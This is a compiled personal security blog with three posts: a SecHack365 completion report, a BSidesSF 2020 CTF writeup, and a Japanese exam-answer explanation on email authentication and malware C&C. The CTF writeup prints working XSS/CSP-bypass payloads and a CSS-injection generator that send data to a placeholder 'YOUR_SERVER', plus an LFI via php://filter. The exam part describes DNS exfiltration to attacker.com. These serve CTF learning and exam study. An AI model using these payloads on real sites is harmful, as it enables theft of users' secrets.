SecHack365 思索駆動コースを修了しました + 2020年度トレーニーに向けて

はじめに

2019年度 SecHack365 思索駆動コースを修了しました。

本記事では、SecHack365に関する基本的な情報に加えて、次年度以降のトレーニーに向けた諸々を書きます。

SecHack365の概要

SecHack365は、NICT(情報通信研究機構)が主催するサイバーセキュリティに関する長期ハッカソンです。以下に、公式サイトに記載されている概要を引用して示します。

若手セキュリティイノベーター育成プログラム SecHack365は、25 歳以下の学生や社会人から公募選抜する 40 名程度の受講者を対象に、サイバーセキュリティに関するソフトウェア開発や研究、実験、発表を一年間継続してモノづくりをする機会を提供する長期ハッカソンです。全国の一流研究者・技術者や受講者等との交流をするなかで、自ら手を動かし、セキュリティに関わるモノづくりができる人材 (セキュリティイノベーター) を育てます。

SecHack365が他のハッカソンと大きく異なる点は、その期間と開催形態にあります。

まず期間について、一般的なハッカソンは2,3日程度で長くても1週間程度という形態のものが多いですが、SecHack365は本当に1年間を掛けて開発(それに付随するサーベイ、議論、発表など)を行います。そのため、他のハッカソンと比べて自分の興味のある分野についてより深く取り組むことができると言えます。

一方の開催形態について、SecHack365では年に数回、特定の場所に全トレーニーが集まる集合イベントが開催されます。各集合イベントでは、各コース(下記参照)独自のコースワークやコースワークをまたいだトレーニー、トレーナー間での議論、開発中のプロダクトに関するプレゼンテーションといったイベントが開催されます。加えて、オンラインでもNONSTOPという開発環境が与えられているため、トレーニーはいつでもこのNONSTOPにアクセスして開発に取り組むことができます。

コース制度

SecHack365では、各トレーニーのプロダクト開発に関するアプローチや対象領域の違いに応じて、複数のコースが用意されています。以下に、公式サイトに記載されている内容を引用して示します。

■表現駆動コース

・アイデアをかたちにする、その過程で価値を最大化するなどサービスを磨きあげるコース。

・グループでのハッカソン実施によるサービスづくりを進める

■学習駆動コース

・興味ある技術や作りたいものに対して、付加的な学習をしながら開発を進めるコース

・付加学習により他技術や他分野を知ることで、作るもののアイディアの幅を広げる

■開発駆動コース

・まずは実装を作り上げることに重きをおく、開発指導に特化したコース

・開発テーマや分野が定まっている受講生を受け入れて開発を進めるための指導を実施する

■思索駆動コース

・思索を通じて問題を深掘りし、その解決を行うコース

・日常に遍在する違和感に立ち向かう人材を育成する

■研究駆動コース

・研究的プロセスに基づいたアイデア、仮説立案と検証評価を重視したコース

・研究者的なスキルを磨いて、将来の研究者になり得る人材を育成する

各コースについて、個人的な見解を述べます。次年度以降はコース編成が変わるかもしれないので、あまり役に立たないかもしれません。

まず、表現駆動コースは、いわゆる一般的なハッカソン(解釈は皆さんに委ねます)に最も近いコースだと思います。各集合イベント(特に中間発表まで)では、特定のグループに分かれた上で、アイディアの発案から解決策の提示(可能であれば実装)を行い、それを実際に発表することでフィードバックを得るというループを体験できます。特に、まだ具体的に何がやりたいかは明確に決まっていないがサイバーセキュリティに関するモノづくりがしたいという人、グループで活動しながら問題解決に取り組みたい人に向いていると思います。

学習駆動コースは、その名の通り学習をしながらモノづくりを進めていくコースです。特に、コンピュータサイエンスの根幹に関わる領域(OS、コンパイラFPGA等)について、トレーナー陣や他のトレーニーの方と知識や技術を身に着けながら開発を進めていきたいという人に向いていると思います。

開発駆動コースは、これも読んで字の如く開発に特化したコースです。開発してみたいアイディアについて、細かく考える前にまずは実装してみて、そこから問題点の抽出と改善策の立案を行い、また実装を行うというイテレーションを1年間掛けて回し続けるというイメージです。特に、開発したいテーマが決まっている人や実装が好きな人、実装が好きな人、実装が好きな人に向いていると思います。

思索駆動コースは(私が所属していたコースです)、開発駆動コースとは対照的に、開発を行う前に自身が対象としたい問題について、トレーナー及びトレーニー間で何度も深く議論を行い、その問題の捉え方や解決に向けたアプローチを思索していくというコースです。思索駆動コースを選んだあなたは集合イベント及びオンラインゼミの双方において、自身が取り組もうとしている問題とはそもそもどういうものなのか、もっとシャープな解決策やそれに向けたアプローチは存在しないのか、そもそもサイバーセキュリティとは何であるのか、といった事柄に常に対峙することになります。議論が好きな人、取り組みたいことはあるがそのためにどのようなアプローチがいいのか思い悩んでいる人、休み時間にグラウンドに出て遊ぶよりも教室の後ろの方で本を片手にあれこれ考えるのが好きな人に向いていると思います。

研究駆動コースは、いわゆる大学(院)のゼミや研究所で行われているような研究的プロセスに基づいて開発を行うコースです。他のコースと比較して、特に学術的なテーマを扱うことが特徴で、大量の論文をサーベイすることで対象分野のドメイン知識や当該分野が抱える何らかの問題点を理解し、それを基に仮説検証を繰り返すことで開発としての完成度を高めていくというコースです。大学(院)でやっているテーマ(もしくはそれ以外のテーマ)を更に深く掘り下げたい人、プロの研究者の指導を受けながら研究活動に取り組みたい人、まだ研究活動の経験は無いが前もってその流れを体験してみたい人に向いていると思います。

取り組んでいたこと

人的脆弱性対策のためのインテリジェンスを収集、分類するエコシステム及びユーザエンドで動作する人的脆弱性対策のためのツールを開発していました。

詳細は以下のスライドを参照してください(近いうちに公式サイトでポスターも掲示されると思います)。

https://speakerdeck.com/tsubasa_umeuchi/sechuv-security-hub-for-human-vulnerabilities

参加したほうがいいですか?

参加したほうがいいです(おそらく)。無責任かもしれませんが、少しでも参加しようという気持ち(と、参加のためのネタ)を持っているのであれば、とりあえず申し込んでみるのが吉かと思います。

特に参加(申し込み)を躊躇する要因として、「参加のためのネタがまだはっきりしていない」という書き込みや「締切に追われるのがつらそう」という書き込みをちらほら見かけたことがあります。

まず前者については、ネタがはっきりしていない人のためのコースが用意されているので、そちらを検討してみると良いかと思われます。というよりも、そもそもやりたいことが100%明確に決まっている人はいないと思います。むしろ、まだネタが曖昧なので、SecHack365の取り組みを通じてそれを磨いていくという姿勢で臨んでいる人が多いのではないでしょうか(私もそうでした)。ちなみに、申し込み時のテーマと最終的なテーマが全く違っていても問題ありません。とにかく締め切りまでに可能な限り自分のテーマについて考え、それを文字に起こしてみてください。

また後者については、締切があることが緩やかなプレッシャーになる、という捉え方もできると思います。今まで取り組んでみたいテーマがあったが、やり始めるきっかけがなかったという人は、SecHackの申し込みを期にそれを始めてみるとどうでしょうか。そうすれば、来年の3月頃に自分が開発してみたかったものがある程度形になっているかもしれません。ちなみに、締切はめちゃくちゃつらいので、もし採択されたら地道に開発を進めましょう。終盤でめちゃくちゃつらくなります。ちなみに私はめちゃくちゃつらくなりました。

おわりに

SecHack365に関する基本的な情報や次年度以降のトレーニーに向けた諸々を書きました。

何か質問があればこの記事か筆者(https://twitter.com/Sz4rny)にまでコメントをください。また、Twitter等で #SecHack365 をつけてツイートしている人に尋ねてみれば、何らかの答えを返してくれるものと思います。

BSidesSF 2020 CTF Writeup

I played BSidesSF 2020 CTF held on 9 AM PST on February 23 to 4 PM PST on February 24.

Our team NekochanNano! got 924pts (20th place).

f:id:Szarny:20200225133252p:plain

Hereafter, I write about the challenges that I solved.

[Web / 51pts] csp-1

When we open the challenge's URL, the following sentence and a form will appear.

Can you bypass the CSP?
Try to read /csp-one-flag as admin, all payloads submitted here will be sent to the admin.

f:id:Szarny:20200225133014p:plain

As you can see from the title and that sentence, this is a challenge regarding the CSP bypass.

Let's check the content-security-policy value in the HTTP Response Header.

content-security-policy: 
    script-src 'self' data:; 
    default-src 'self'; 
    connect-src *; 
    report-uri /csp_report

In the script-src directive, data: scheme is shown.

For that reason, JavaScript program written in data: scheme like below is allowed and can be executed.

// NOTE:
// "ZmV0Y..." is base64 encoded text of this script.
// fetch("https://csp-1-5aa1f221.challenges.bsidessf.net/csp-one-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))

<script src="data:text/javascript;base64,ZmV0Y2goImh0dHBzOi8vY3NwLTEtNWFhMWYyMjEuY2hhbGxlbmdlcy5ic2lkZXNzZi5uZXQvY3NwLW9uZS1mbGFnIikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5mZXRjaCgiWU9VUl9TRVJWRVIiK3QpKQ=="></script>

When you enter this script tag, the JavaScript will be executed on the browser of admin and you can get the flag in the access log on your web server.

FLAG: CTF{Cant_Stop_Pwning}

[Web / 51pts] csp-2

A revised version of the previous question.

Let's check the content-security-policy value in the HTTP Response Header.

content-security-policy: 
    script-src 'self' ajax.googleapis.com 'unsafe-eval'; 
    default-src 'self' 'unsafe-inline'; 
    connect-src *; 
    report-uri /csp_report

In the script-src directive, ajax.googleapis.com is whitelisted. In addition, unsafe-eval and unsafe-inline is specified.

According to this presentation material, whitelist-based CSP is almost always trivially bypassable because these URLs are tend to have JSONP endpoint or host AngularJS.

Even in this challenge, ajax.googleapis.com hosts AngularJS at the following URL.

https://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js

The rest part is easy: just incorporate this AngularJS into the challenge page and run the script using that feature like below.

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script> 
<div class="ng-app"> {{ constructor.constructor('fetch("https://csp-2-2446d5a3.challenges.bsidessf.net/csp-two-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))')() }} </div>

FLAG: CTF{Canned_Spam_Perfection}

[Web / 458pts] csp-3

A revised version of the previous question.

Let's check the content-security-policy value in the HTTP Response Header.

content-security-policy: 
    script-src 'self' http://storage.googleapis.com/good.js; 
    default-src 'self'; 
    connect-src *; 
    report-uri /csp_report

In the script-src directive, http://storage.googleapis.com/good.js is whitelisted. This URL is from Firebase Storage, however, we can't access this URL because Public URLs in Firebase Storage take the following format:

http://storage.googleapis.com/<BUCKET NAME>/<FILE NAME>

Hmm... I can't find anything that could be used to exploit from CSP.

After some research, I found a page /redirect specified in the robots.txt.

This page is what is called open redirector that navigates to the URL specified in the url query.

Let's leverage this feature and whitelisted endpoint (http://storage.googleapis.com/good.js) to compromise CSP!

According to the CSP Level 3, 7.6. Paths and Redirects, the path section is ignored after redirect.

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:

Directly loading https://example.org/not-path would fail, as it doesn’t match the policy.

Directly loading https://example.com/redirector would pass, as it matches example.com.

Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.

Because of that, JavaScript file loaded from https://csp-3-05637e51.challenges.bsidessf.net/redirect?url=http://storage.googleapis.com/* is allowed and can be executed!!

So all we need to do is as follows:

  1. Put a JavaScript file for exploits CSP like fetch("https://csp-3-05637e51.challenges.bsidessf.net//csp-three-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t)) on Firebase Storage.
  2. Publish with a whitelisted URL like http://storage.googleapis.com/YOUR_BUCKET_NAME/exploit.js.
  3. Input: <script src="https://csp-3-05637e51.challenges.bsidessf.net/redirect?url=https://storage.googleapis.com/YOUR_BUCKET_NAME/exploit.js></script>

Then you can Capture The FLAG!!

FLAG: CTF{Cyber_Security_Practitioner}

[Web / 51pts] had-a-bad-day

The goal in question is to read the flag.php.

When we open the challenge's URL, we can see two buttons (WOOFERS and MEOWERS).

If you click the WOOFERS button, a picture of the dog appears. And if you click the MEOWERS button, a picture of the cat appears.

f:id:Szarny:20200225133054p:plain

When you click the WOOFERS button, the URL is set like this: https://had-a-bad-day-5b3328ad.challenges.bsidessf.net/index.php?category=woofers.

Here, if you change the category query string from woofers to woofers!, the following error message appears.

Warning: include(woofers!.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'woofers!.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

There may be a LFI vulnerability here. However, the category query seems to have a restriction that it must contain woofers or meowers.

So we can include flag.php by this URL: https://had-a-bad-day-5b3328ad.challenges.bsidessf.net/index.php?category=woofers/../flag.

However, we can't figure out what is written in flag.php because the contents of this fire is evaluated by PHP.

You can read the contents of that by using php://filter like this: https://had-a-bad-day-5b3328ad.challenges.bsidessf.net/index.php?category=php://filter/convert.base64-encode/resource=woofers/../flag.

You can get the base64 encoded flag.php, just decode it.

FLAG: CTF{happiness_needs_no_filters}

[Web / 51pts] simple-todos

The challenge's target is a simple todo application using WebSocket by using this material.

f:id:Szarny:20200225133110p:plain

Due to insufficient authority processing, you can also view WebSocket communications that are not related to your account.

Therefore, you can easily get the FLAG by observing WebSocket communication (For example, by using DevTools Network pain, search keyword "CTF").

FLAG: CTF{meteor_js_does_san_francisco}

[Web / 87pts] fun-with-flags

After registration and login process, we can see the message send/receive functions.

f:id:Szarny:20200225133122p:plain

We can find the following input tag where the Flag would be inserted in the target user.

<input type="hidden" name="flag" value=Try reading this value>

Under the Message form, a suspicious message is written.

Express your style

So, I described a style tag in Message form and I confirmed that it was effective.

Therefore, we can reverage the CSS Injection technique for this challenge that I introduced in a previous article (Link).

The sample script used to create the attack vector is as follows.

import sys
import pyperclip

URL: str = "YOUR_SERVER"

def generate_attack_vector(known_secret: str) -> str:
    attack_vector_tmpl: str = """
        input[value^='{known_secret}{try_secret}']{{
            background: url('{url}?secret={known_secret}{try_secret}')
        }}"""

    attack_vector: str = ""

    for secret_param in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}_!?":
        attack_vector += attack_vector_tmpl.format(url=URL,
                                                   known_secret=known_secret,
                                                   try_secret=secret_param)

    attack_vector = "<style>" + attack_vector + "</style>"
    pyperclip.copy(attack_vector)
    return attack_vector


def main() -> None:
    known_secret: str = sys.argv[1] if len(sys.argv) != 1 else ""
    print(generate_attack_vector(known_secret=known_secret))


if __name__ == '__main__':
    main()

Attack vector is as follows.

<style>
input[value^="0"] { background: url(YOUR_SERVER?secret=0) }
input[value^="1"] { background: url(YOUR_SERVER?secret=1) }
...
input[value^="a"] { background: url(YOUR_SERVER?secret=a) }
...
</style>

Just send it to Sheldon repeatedly, then you can Capture The FLAG!

FLAG: CTF{Clandestine_Secret_Stealing}

解説: 令和元年度 秋季 情報処理安全確保支援士試験 午後Ⅰ問題

はじめに

   本記事では「令和元年度 秋季 情報処理安全確保支援士試験 午後Ⅰ問題」の解説を行います。

   問題文へのリンクは 令和元年度 秋季 情報処理安全確保支援士試験 午後Ⅰ問題 です。

   PDF版はこちらからどうぞ。


注意

当該試験の問題文の著作権独立行政法人情報処理推進機構に帰属します。

出展: 令和元年度 秋季 情報処理安全確保支援士試験 午後Ⅰ

本コンテンツは、CC-BY-NC-SAとして公開します。

問1 電子メールのセキュリティ対策

設問1

   メールの送信元であるFROMアドレスには、いわゆる一般的なメールクライアント上で表示されるようなHeader-FROMアドレスと、メール配送に関する問題が発生した際の返送先となるEnvelope-FROMアドレスの2種類があります(TOアドレスも同様に2種類存在します)。

さて、SMTPコマンドを用いてメールを送信する際の流れの一例を以下に示します。

EHLO <SMTP ClientのFQDN>
MAIL FROM: <Envelope-FROMアドレス>
RCPT TO: <Envelope-TOアドレス>
DATA
<メール本文>
.
QUIT

   上記から分かるように、Envelope-FROMアドレスの指定にあたってはMAIL FROMコマンドを利用します。

   よって、空欄aにはMAIL FROMが入ります。

設問2

(1)

   SPF(Sender Policy Framework)は、電子メールにおける送信元ドメインの認証技術です。具体的には、以下のようにして送信元ドメインの認証が行われます。

  • 送信側は、自ドメインを管理するDNSサーバのSPFレコードにメールの送信元として有効であるサーバのIPアドレスを登録する。
  • 受信側は、受信したメールの送信元アドレスに対応するDNSサーバへSPFレコードを問い合わせ、登録されているIPアドレスと一致するかどうか検証する。

   上記の流れを考慮すると、SPFによる認証を行うには以下の条件が必要です。

  • 送信側のDNSサーバにSPFレコードが登録されている。
  • 受信側のメールサーバでSPFの検証が行われている。

   さて、図3に示されている攻撃を簡潔にまとめると以下のようになります。

  • 攻撃1 N社でのなりすましメールの受信
  • 攻撃2 N社を起点とするなりすましメールの送信

   まず、項番4について考えます。

  • 攻撃1(受信)は防げません。なぜなら、取引先のDNSサーバはSPFへの対応を行なっていないため、N社のメールサーバにおいてSPFレコードの検証ができないからです。よって空欄bは×です。
  • 攻撃2(送信)も防げません。なぜなら、取引先のメールサーバはSPFの検証を行わないからです。よって空欄cは×です。

   次に、項番6について考えます。

  • 攻撃1(受信)は防げません。なぜなら、N社のメールサーバはSPFの検証を行わないからです。よって空欄dは×です。
  • 攻撃2(送信)も防げません。なぜなら、取引先のメールサーバはSPFの検証を行わないからです。よって空欄eは×です。

   次に、項番7について考えます。

  • 攻撃1(受信)は防げません。なぜなら、N社のメールサーバはSPFの検証を行わない上に、取引先のDNSサーバはSPFへの対応を行なっていないからです。よって空欄fは×です。
  • 攻撃2(送信)は防ぐことができます。なぜなら、N社のDNSサーバはSPFへの対応を行なっており、かつ取引先のメールサーバはSPFの検証を行うからです。よって空欄gはです。

   最後に、項番13について考えます。

  • 攻撃1(受信)は防げません。なぜなら、N社のメールサーバはSPFの検証を行わないからです。よって空欄hは×です。
  • 攻撃2(送信)も防げません。なぜなら、N社のDNSサーバはSPFへの対応を行なっていないため、取引先のメールサーバにおいてSPFレコードの検証ができないからです。よって空欄iは×です。

(2)

   SPFレコードは、DNSにおいてTXTレコードとして公開します(SPFレコードも存在しますが、互換性等の関係でTXTレコードが用いられることが一般的です)。

   SPFレコードの書式は以下の通りです。

<FQDN> IN TXT "<バージョン> <定義>"
e.g. example.com. IN TXT "v=spf1 +ip4:x.y.z.w -all"

   このうち、バージョンは問題文のv=spf1の部分です。

   さて、肝心の定義の部分は+ip4:[ j ] -allと記述されています。

   このうち、-allとは「設定された以外のアドレスを当該ドメインのメールサーバとして一切認証しない」という設定です(ちなみに、正当なメールであっても認証に失敗する恐れがあることを示すための~allといった緩めの設定もあり、これはSoftFailと呼ばれます)。

   前半の部分はip4:と書かれていることからわかるように、IPv4IPアドレスを設定します。図2からわかるように、N社のグローバルIPアドレスx1.y1.z1.1であるため、空欄jはx1.y1.z1.1です。

(3)

   「... (メールが転送される) その間でSPFに対応している別のメールサーバがEnvelope-FROMを変えずにメールをそのまま転送する場合は、メール受信側のメールサーバにおいて、SPF認証が失敗してしまう」理由について考えます。

   問題を簡潔に捉えるために、以下のような場合を想定します。なお、各サーバはカッコ内に示すSPFレコードを適切にDNSサーバへ登録しているものとします。

[ メールサーバA ] a.com (v=spf1 +ip4:x.y.z.1 -all)
       |
       |
[ メールサーバB ] b.com (v=spf1 +ip4:x.y.z.2 -all)
       |
       |
[ メールサーバC ] c.com (v=spf1 +ip4:x.y.z.3 -all)

   ここで、foo@a.comからbar@b.comにメールを送信するとbar@c.comに転送されるとします。

   まず、メールをメールサーバAからメールサーバBに送信します。そうすると、メールサーバBはSPFの検証に成功します。なぜなら、Envelope-FROMのアドレスがx.y.z.1であり、かつSMTP接続元IPアドレスにおけるDNSサーバのSPFレコードの値(x.y.z.1)が一致するからです。

   次に、メールはメールサーバBからメールサーバCに転送されます。ここで、メールサーバCはSPFの検証に失敗します。なぜなら。転送を行うメールサーバがEnvelope-FROMの値を変えないために、Envelope-FROMのアドレスはx.y.z.1のままになるからです。そのため、SMTPの接続元IPアドレスにおけるDNSサーバのSPFレコードの値(x.y.z.2)とは一致しません。

   よって、本問の理由は「送信側のDNSサーバに設定されたIPアドレスとSMTP接続元のIPアドレスが一致しないから」だと言えます。

(4)

   「... メール本文とメールヘッダをもとに生成したハッシュ値を用いて、DKIM-Signatureヘッダに付与されているディジタル署名を検証する」ことによって、メールの送信元の正当性以外に確認できる事項を考えます。

   ディジタル署名は、メール本文とメールヘッダをもとに生成したハッシュ値を送信者の秘密鍵で署名したものです。つまり、送信者の本当の秘密鍵で署名されていなかったり、メール本文とメールヘッダがハッシュ値生成時の内容から変更されていたりすると受信側で検証に失敗します。

   このうち、「メールの送信元の正当性」は「送信者の本当の秘密鍵で署名されたかどうか」によって確認できます。

   では「メール本文とメールヘッダがハッシュ値生成時の内容から変更されていないかどうか」によって確認できることはなんでしょうか。それは「メール本文とメールヘッダが改ざんされていないこと」だと言えます。

   よって、本問の答えは「メール本文及びメールヘッダの改ざんの有無」です。

   このように、ディジタル署名を用いることで「送信者の検証」に加えて「完全性の検証」も行えることを覚えておくと良いでしょう(なお「否認防止」も可能です)。

設問3

   図7の1行目はMXレコードであり、空欄kにはドメインa-sub.n-sha.co.jpのメールサーバのホスト名を指定します。問題文にある通り、a-sub.n-sha.co.jpのメールサーバのホスト名はmail.x-sha.co.jpであるため、空欄kはmail.x-sha.co.jp.です。末尾に.(ドット)を付与することを忘れないでください。

   図7の2行目はSPFレコードであり、空欄lにはドメインa-sub.n-sha.co.jpにおけるSPFIPアドレスを設定します。問題文にある通り、メールサーバ(mail.x-sha.co.jp)のIPアドレスx2.y2.z2.1であるため、空欄lはx2.y2.z2.1です。なお、x2.y2.z2.2SPF検証時に問い合わせ先となるDNSサーバのグローバルIPアドレスです。空欄lには当てはまりません。

   空欄mでは、DMARCのpタグを設定します。表2にある通り、pタグでは「送信側が指定する受信側でのメールの取り扱いに関するポリシ」を設定します。問題分より、受信側で検証に失敗したメールは隔離するポリシとするため、空欄mにはquarantineを指定します。

   空欄mでは、DMARCのaspfタグを設定します。表2にある通り、aspfタグは「SPF認証の調整パラメタ」です。問題文より、ニュースレターはX社のメールサーバから配信され、Header-FROMにはN社ドメイン名のメールアドレスが、Envelope-FROMにはN社のサブドメイン名のメールアドレスが設定されます。そのため、もしaspfタグにs(strict)が設定されている場合、Header-FROMとEnvelope-FROMに用いられているFQDNが一致しないため認証に失敗してしまいます。よって、空欄mには組織ドメイン(サブドメイン)が一致していれば認証に成功するr(relaxed)を指定します。

設問4

   ここまでを通して見てきたように、SPFDKIM及びDMARCを用いることで送信元ドメインを偽るような、いわゆるなりすまし攻撃を防ぐことができます。

   これは、裏を返せば、送信元ドメインを偽っていないような攻撃は防ぐことができないと言えます。

   例えば、取引先の正規のメールアドレスがfoobar@torihiki.comである場合を想定します。

   この時、攻撃者が送信元メールアドレスをfoobar@torihiki.comであると詐称した場合は、検証を通してその詐称を検知することができます。

   しかしながら、攻撃者がtor1hiki.comのような人間が見間違えそうなドメイン名を取得した上で送信ドメイン認証技術の設定を行い、そのドメイン名を用いて送信元メールアドレスをfoobar@tor1hiki.comのように設定したとします。この場合、送信ドメインの認証においては何ら問題はない(不一致が発生しない)ため、N社メールサーバにおける検証が成功します(なお、このように人が勘違いしそうな、正規のドメイン名に類似したものを利用する攻撃をTyposquattingと言います)。

   このように、送信ドメイン認証技術の設定を行った上で送信元ドメインを偽らずにメールを送信することで、送信ドメインの認証を成功させつつも攻撃を行うことができると言えます。よって、設問4の答えは「N社の取引先と似たメールアドレスから送信ドメイン認証技術を利用してメールを送信する。」であると言えます。

   以上。

問2 セキュリティインシデント対応におけるサイバーセキュリティ情報の活用

設問1

(1)

   「(マルウェアによるHTTP)通信がZ社のネットワーク環境によって遮断されていた」理由を考えます。」

   表2の(a)によると、PCからのインターネットアクセスは全てプロキシサーバを経由するように設定されています。また、(c)によると、プロキシサーバはPCからインターネットへのHTTP通信を中継する際に、利用者IDとパスワードによるBASIC認証を必須としています。これらの認証情報はプロキシサーバ内に保存されているため、その認証情報が窃取されたような場合を除いては、正規のユーザしか知り得ない情報だと言えます。当然マルウェアはこの認証情報を知り得ないため、プロキシサーバを介したインターネットへのHTTP通信は行えません。

   よって、本問の答えは「プロキシ認証に失敗したから」だと言えます。

(2)

   パブリックDNSサービスLに対してDNSプロトコルによる通信が発生した際、その通信は以下のような流れをたどります。なお、DNS通信の場合はHTTP通信の場合とは違って、プロキシサーバによって通信が中継されないことに注意してください。

[  (a) PC  ]
      |
      |
[   L2SW   ]
      |
      |
[  (b) FW  ]
      |
      |
(インターネット)

   このうち、(a)のPCに導入されているEDRではDNSプロトコルによる通信を記録しない設定となっていたため、ログは残りません。一方で、(b)のFWにおいては、表2の取得ログの列において動作ログを取得することが明記されています。よって、もしマルウェアによるDNS通信が発生したのであれば、FWの動作ログに残されているでしょう。

   よって、空欄aは(b)です。

(3)

   マルウェアによる情報持ち出し成功時に残る痕跡を考えます。

   図2に示されている通り、当該マルウェアは以下のようにして情報を持ち出します。

(い) マルウェアは、 ... 窃取する情報を持ち出す際には ... C&C通信を使用して持ち出す。 (う) C&C通信には、HTTP又はDNSプロトコルを使用する。 HTTPの場合、 ... C&Cサーバと通信する。DNSプロトコルの場合、パブリックDNSサービスLを経由して通信する。 ...

   また、図3のC)から分かる通り、グローバルIPアドレスMは、攻撃グループXのC&Cサーバに割り当てられたIPアドレスです。

   以上の情報から考えると、マルウェアは以下のどちらかの手段によって、情報を持ち出すと言えます。

   よって、もし情報の持ち出しに成功したのであれば、上記のどちらかの通信に成功したという旨のログが痕跡として残ると言えます。

   そのため、本問の答えである「該当する痕跡」は以下の二つであると言えます。

(4)

   当該マルウェアへのセキュリティ上の対策として共有すべき情報について、選択肢を一つずつ検討していきます。


   共有しても意味がありません。当然のことながら、「何日の何時何分にマルウェアに感染したのか」を知ったとしても対策に活かすことはできないでしょう。


   共有すべきでしょう。図2によると、当該マルウェアはHTTP通信によって情報を持ち出すことが示されていますが、その通信先C&Cサーバの詳細までは提示されていません。本情報が共有されれば「グローバルIPアドレスMをHTTP通信におけるブラックリストとして登録する」といった措置が可能となるでしょう。


   共有すべきでしょう。図3によると、マルウェアPとマルウェアRは同一のフォルダであるフォルダNに配置されています。これらの共通点から、当該マルウェアは、(観測できる範囲では)全ての場合においてフォルダNに配置されるものと言えます。本情報が共有されれば「フォルダNが存在していないか、そのフォルダに不審なファイルが存在しないか」といったチェックが可能となるでしょう。


   共有しても意味がありません。マルウェアPはIPアドレスをベースに感染を行うのではなく、メールの添付ファイルとして配信されるからです。


   共有しても意味がありません。図2によると、当該マルウェアは攻撃対象ごとに異なるファイル名のものが送付されることが示唆されています。よって、ファイル名をベースとした当該マルウェアの検知といった対策は困難だと言えます。


   共有しても意味がありません。エと同様の理由です。


   共有しても意味がありません。カと同様の理由です。


   以上より、答えはです。

設問2

(1)

   正規実行ファイルに付与すべき証明書の種類を考えます。

   解答から述べると、これは(エ) コードサイニング証明書です。コードサイニング証明書とは、主にソフトウェアに対して発行する証明書で、ソフトウェア配布元や改ざんの有無等の検証を行うことができます。

   なお、(ア) S/MIME証明書は電子メールにおけるS/MIMEに用いられる証明書で、(イ) TLSクライアント証明書及び(ウ)TLSサーバ証明書は、HTTPS等のTLS通信で用いられる証明書です。ソフトウェアに対する証明書としては適切ではありません。

(2)

   マルウェアがプロキシ認証情報を窃取する際に使用できない攻撃手法について、選択肢を一つずつ検討していきます。


   窃取が可能です。BASIC認証用の認証情報がブラウザによって自動入力される場合、自動入力されたその内容を窃取することで達成されます。


   窃取が可能です。正規のユーザによる認証情報の入力内容を窃取することで達成されます。


   窃取はできません。ゴールデンチケットとは、Active DirectoryにおけるKerberos認証の認証情報を使用して作成される、任意の権限や有効期限が設定されたチケット認可チケット(TGT)のことです。本問の状況とは適合しません。


  • エ 総当たり攻撃

   窃取が可能です。現実的な時間において可能であるかどうかはさておき、無限のリソースと時間を前提とするならば、いつかは試行する認証情報が正規のものと一致すると言えます。


  • オ 偽のBASIC認証入力フォームの表示とそのフォームへの利用者の誘導

   窃取が可能です。選択肢の文章の通り、正規の認証情報を知っているユーザに対してフィッシングを仕掛け、それを入力させることで窃取が可能です。


  • カ ネットワーク盗聴

   窃取が可能です。PCとプロキシサーバ間でやりとりされるBASIC認証の通信内容は暗号化されていないからです。


よって、答えはです。

(3)

   C&C通信を遮断するためには、FWにおいてパブリックDNSサービスとの通信を拒否する必要があります。

   さて、表1によると項番3において任意の送信元からインターネットへのDNS通信が許可されています。よって、このルールを変更する必要があります。

   さて、本来Z社のネットワーク構成において、インターネットを宛先としたDNS通信を行う必要があるのは以下の2パターンです。

  • 外部DNSサーバがインターネット上の権威DNSサーバと通信を行う場合。
  • PCがプロキシサーバ経由でインターネットへのWebアクセスを行う場合。

   これらを考慮すると、インターネットへのDNS通信を許可する送信元はDMZに限定するだけで良いと言えます。なぜなら、上記のどちらのパターンも「DMZに配置されたサーバがインターネットに向けたDNS通信を行う」ものだからです。

   よって、変更すべきフィルタリングルールは以下の通りです。

| 項番 | 送信元 | 宛先        | サービス | 動作 |
|  3  |  DMZ  | インターネット| DNS    | 許可 |

   このように変更することで、マルウェアによるPCからパブリックDNSサーバへの直接的な通信をFWにて拒否することができるようになります。

(4)

   空欄b,c,dに入る字句を考えます。

   表3の項番3のC&C通信の手法においては「攻撃用ドメイン」や「長いホスト名を持つDNSクエリの発生」といった内容が見られます。よって、項番3で示されている手法はDNS通信を用いたものだと推察されます。

   さて、前述の「長いホスト名を持つDNSクエリの発生」とはどういう状況において起こり得るのでしょうか。

   ここで、攻撃者の攻撃用ドメインattacker.comであり、攻撃者がそのドメインの名前解決を行う権威DNSサーバを用意していたとしましょう。この時、名前解決を行うキャッシュサーバであるDNSサーバ(以下、キャッシュDNSサーバ)にxxx.attacker.comのようなホスト名の名前解決を依頼すると、そのDNSサーバは攻撃者が用意した権威DNSサーバにクエリを送信します。この時、当然ながら攻撃者は権威DNSサーバのログを参照することでxxxの部分を閲覧することができます。

   これを利用することで、例えば</etc/passwdの内容>.attacker.comのようなホスト名の名前解決をキャッシュDNSサーバに依頼することで、攻撃者の権威DNSサーバにその名前解決クエリが送信され、結果として攻撃者に/etc/passwdの内容が知れ渡ってしまいます。

   つまり、「長いホスト名を持つDNSクエリ」は、ホスト名に窃取したい情報を記述している場合に発生するものだと考えられます。

   以上を考慮すると、空欄bは、C&Cサーバとして名前解決を待ち受ける権威DNSサーバだと言えるでしょう。

   また、空欄cは、キャッシュDNSサーバであり、問題文に登場する用語を使うのであれば外部DNSサーバが適切でしょう。

   そして、空欄dは、DNS通信において送信されるクエリを表す語が入ると考えられます。ここで、問題文をまとめると以下のようになります。

  • マルウェアは外部DNSサーバに攻撃用ドメインについての[ d ]を送信する。
  • 外部DNSサーバはC&Cサーバ(権威DNSサーバ)に非[ d ]を送信する。

